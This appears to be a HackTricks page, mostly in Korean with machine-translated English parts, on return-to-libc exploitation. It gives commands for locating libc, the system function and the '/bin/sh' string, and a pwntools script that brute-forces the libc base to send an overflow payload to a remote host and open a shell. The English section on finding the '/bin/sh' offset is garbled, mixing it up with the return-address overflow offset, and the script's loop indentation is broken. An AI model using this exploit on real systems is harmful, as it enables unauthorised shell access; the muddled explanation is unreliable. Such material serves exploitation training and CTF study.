hacktricks/exploiting/linux-exploiting-basic-esp/ret2lib.md
2024-02-10 21:30:13 +00:00

5.7 KiB

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

취약한 이진 파일을 찾았고 Ret2Lib을 사용하여 공격할 수 있다고 생각한다면, 다음은 따를 수 있는 몇 가지 기본 단계입니다.

호스트 내부에 있다면

libc의 주소를 찾을 수 있습니다.

ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)

ASLR가 libc의 주소를 변경하는지 확인하려면 다음을 수행할 수 있습니다:

for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done

시스템 함수의 오프셋 얻기

To exploit a binary using a return-to-libc attack, we need to know the offset of the system function in the target system's libc library. This offset will help us determine the address of the system function in memory.

To find the offset, we can use the nm command to list the symbols in the libc library and search for the system function. The offset will be the difference between the address of the system function and the base address of the libc library.

Here's an example command to find the offset:

nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep system

This command will list all the symbols in the libc library and filter for the system function. The output will include the address of the system function, which we can use to calculate the offset.

Once we have the offset, we can use it in our exploit to calculate the address of the system function dynamically, without relying on hardcoded addresses.

readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system

"/bin/sh"의 오프셋 얻기

To get the offset of "/bin/sh" in the binary, we can use the following steps:

  1. Find a vulnerable function or a buffer overflow vulnerability in the binary.
  2. Craft a payload that overflows the buffer and overwrites the return address.
  3. Use a debugger or a tool like GDB to determine the exact offset at which the return address is overwritten.
  4. Calculate the offset of "/bin/sh" by subtracting the known address of the buffer from the address of "/bin/sh" in memory.

By following these steps, you can obtain the offset of "/bin/sh" and use it in your exploit.

strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

/proc/<PID>/maps

만약 프로세스가 매번 대화할 때마다 자식 프로세스를 생성한다면 (네트워크 서버인 경우), 이 파일을 읽어보세요 (아마도 root 권한이 필요할 것입니다).

여기에서 프로세스 내부에 libc가 정확히 어디에 로드되어 있는지와 프로세스의 모든 자식들이 로드될 위치를 찾을 수 있습니다.

이 경우에는 0xb75dc000에 로드되어 있습니다 (이것이 libc의 기본 주소가 될 것입니다).

gdb-peda 사용하기

gdb-peda를 사용하여 system 함수, exit 함수 및 "/bin/sh" 문자열의 주소를 얻으세요:

p system
p exit
find "/bin/sh"

ASLR 우회하기

libc의 기저 주소를 무차별 대입(bruteforce)하여 시도할 수 있습니다.

for off in range(0xb7000000, 0xb8000000, 0x1000):

코드

from pwn import *

c = remote('192.168.85.181',20002)
c.recvline()    #Banner

for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive() #?
htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법: